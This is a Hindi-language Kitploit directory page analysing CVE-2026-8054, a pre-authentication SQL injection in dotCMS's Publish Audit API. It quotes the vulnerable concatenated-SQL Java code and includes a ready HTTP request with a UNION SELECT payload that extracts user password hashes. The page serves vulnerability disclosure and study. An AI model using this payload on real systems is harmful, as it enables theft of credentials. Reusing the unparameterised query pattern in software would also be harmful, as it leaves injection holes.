Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8054 — dotCMS प्री-ऑथ SQL इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/mr-xn/cve-2026-8054
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS प्री-ऑथ SQL इंजेक्शन

रिपॉजिटरी देखें
83 महीने पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

1. भेद्यता अवलोकन

CVE-2026-8054 dotCMS Core प्रकाशन ऑडिट API (Publish Audit API) में मौजूद एक उच्च जोखिम वाला प्री-ऑथ SQL इंजेक्शन (Pre-auth SQL Injection) है। इस भेद्यता को आधिकारिक तौर पर सुरक्षा घटना SI-75 के रूप में ट्रैक किया गया था और मई 2026 के अंत में औपचारिक रूप से प्रकट किया गया था। चूंकि हमलावर बिना किसी खाता अनुमति के दूरस्थ रूप से इसका शोषण कर सकता है, इसलिए इसका संभावित नुकसान बहुत गंभीर है।

गुणमान
CVE संख्याCVE-2026-8054
आधिकारिक ट्रैकिंगSI-75
भेद्यता प्रकारSQL इंजेक्शन (CWE-89)
प्रभावित घटकdotCMS Core - Publish Audit API
CVSS स्कोर10.0 (क्रिटिकल)
प्रभावित संस्करण25.11.04-1 से 26.04.28-02 तक
फिक्स संस्करण26.04.28-03
हमला विधिदूरस्थ अप्रमाणित SQL इंजेक्शन (Pre-auth)
आवश्यक अनुमतिकोई प्रमाणीकरण आवश्यक नहीं
उपयोगकर्ता सहभागिताकोई नहीं
LTS संस्करण प्रभावप्रभावित नहीं (ऑडिट कोड शाखा को LTS ट्री में बैकपोर्ट नहीं किया गया)

2. भेद्यता सिद्धांत का विस्तृत विवरण

2.1 भेद्यता का सार

यह भेद्यता /api/auditPublishing/get और /api/auditPublishing/getAll नामक दो REST इंटरफेस में मौजूद है। ये दो इंटरफ़ेस क्लाइंट इनपुट से अनुरोध पैरामीटर प्राप्त करते समय बिना किसी फ़िल्टरिंग या पैरामीटर बाइंडिंग के, सीधे स्ट्रिंग संयोजन के माध्यम से गतिशील रूप से SQL क्वेरी का निर्माण करते हैं।

इससे भी बुरी बात यह है कि dotCMS ने इन संवेदनशील बैकएंड इंटरफ़ेस पर प्रमाणीकरण और अनधिकृत पहुंच जांच को पूरी तरह से छोड़ दिया है। इसका मतलब है कि कोई भी दूरस्थ हमलावर जिसके पास कोई क्रेडेंशियल नहीं है, वह नेटवर्क के माध्यम से सिस्टम तक पहुंच सकता है और सीधे दुर्भावनापूर्ण पेलोड वाला HTTP अनुरोध इंटरफ़ेस पर भेज सकता है।

2.2 भेद्यता प्रवेश बिंदु

फ़ाइल पथ: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

यह भेद्यता दो REST API एंडपॉइंट पर मौजूद है:

  • GET /api/auditPublishing/get/{bundleId} - एकल प्रकाशन ऑडिट स्थिति प्राप्त करें
  • POST /api/auditPublishing/getAll - बैच में प्रकाशन ऑडिट स्थितियाँ प्राप्त करें

मुख्य समस्या: फिक्स से पहले इन दो एंडपॉइंट को किसी प्रमाणीकरण की आवश्यकता नहीं थी, कोई भी अनाम उपयोगकर्ता सीधे उन तक पहुँच सकता था।

@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【भेद्यता बिंदु】कोई प्रमाणीकरण जांच नहीं! सीधे बैकएंड API को कॉल करें
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 भेद्यता कोर कोड

फ़ाइल पथ: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

विधि: getPublishAuditStatuses(List<String> bundleIds) (पंक्ति 224-245)

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【भेद्यता बिंदु 1】सीधे उपयोगकर्ता इनपुट को SQL स्टेटमेंट में जोड़ें
        // बस एक उद्धरण जोड़ें, कोई पैरामीटरीकरण या एस्केपिंग नहीं
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // खतरनाक: स्ट्रिंग संयोजन
            .collect(Collectors.toList());

        // 【भेद्यता बिंदु 2】String.format का उपयोग करके SQL निर्माण, उपयोगकर्ता इनपुट सीधे एम्बेडेड
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL स्थिरांक (SELECT_ALL_BY_BUNDLES_IDS):

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 टेंट प्रसार पथ

graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

टेंट प्रसार: उपयोगकर्ता इनपुट → REST API → बैकएंड प्रोसेसिंग → SQL निर्माण → डेटाबेस निष्पादन मुख्य दोष: कोई प्रमाणीकरण नहीं + कोई पैरामीटरीकरण नहीं = पूरी तरह से नियंत्रणीय SQL इंजेक्शन

2.5 SQL इंजेक्शन सिद्धांत विश्लेषण

मान लीजिए उपयोगकर्ता इनपुट bundleIds = ["x' OR '1'='1"]

सामान्य SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

इंजेक्टेड SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

चूंकि '1'='1' हमेशा सत्य होता है, यह क्वेरी तालिका में सभी रिकॉर्ड लौटाएगी।

graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. प्रभाव और नुकसान विश्लेषण

इस भेद्यता का सफलतापूर्वक शोषण करने वाला हमलावर डेटाबेस सिस्टम उपयोगकर्ता के संदर्भ में मनमाना SQL कमांड निष्पादित कर सकता है, जिसके परिणामस्वरूप निम्नलिखित गंभीर परिणाम हो सकते हैं:

graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 संवेदनशील डेटा लीक

हमलावर SQL इंजेक्शन के माध्यम से कोर डेटाबेस तालिकाओं को डंप कर सकता है और प्राप्त कर सकता है:

  • व्यवस्थापक पासवर्ड हैश
  • उपयोगकर्ता क्रेडेंशियल जानकारी
  • रीसेट टोकन
  • सिस्टम कॉन्फ़िगरेशन जानकारी
  • वेबसाइट सामग्री डेटा

उदाहरण हमला पेलोड - व्यवस्थापक पासवर्ड प्राप्त करें:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 डेटा छेड़छाड़ और विनाश

हमलावर डेटाबेस में किसी भी डेटा को मनमाने ढंग से संशोधित, सम्मिलित या हटा सकता है:

  • वेबसाइट सामग्री
  • उपयोगकर्ता भूमिका अनुमतियाँ
  • सिस्टम कॉन्फ़िगरेशन
  • ऑडिट लॉग
टूल डाउनलोड करें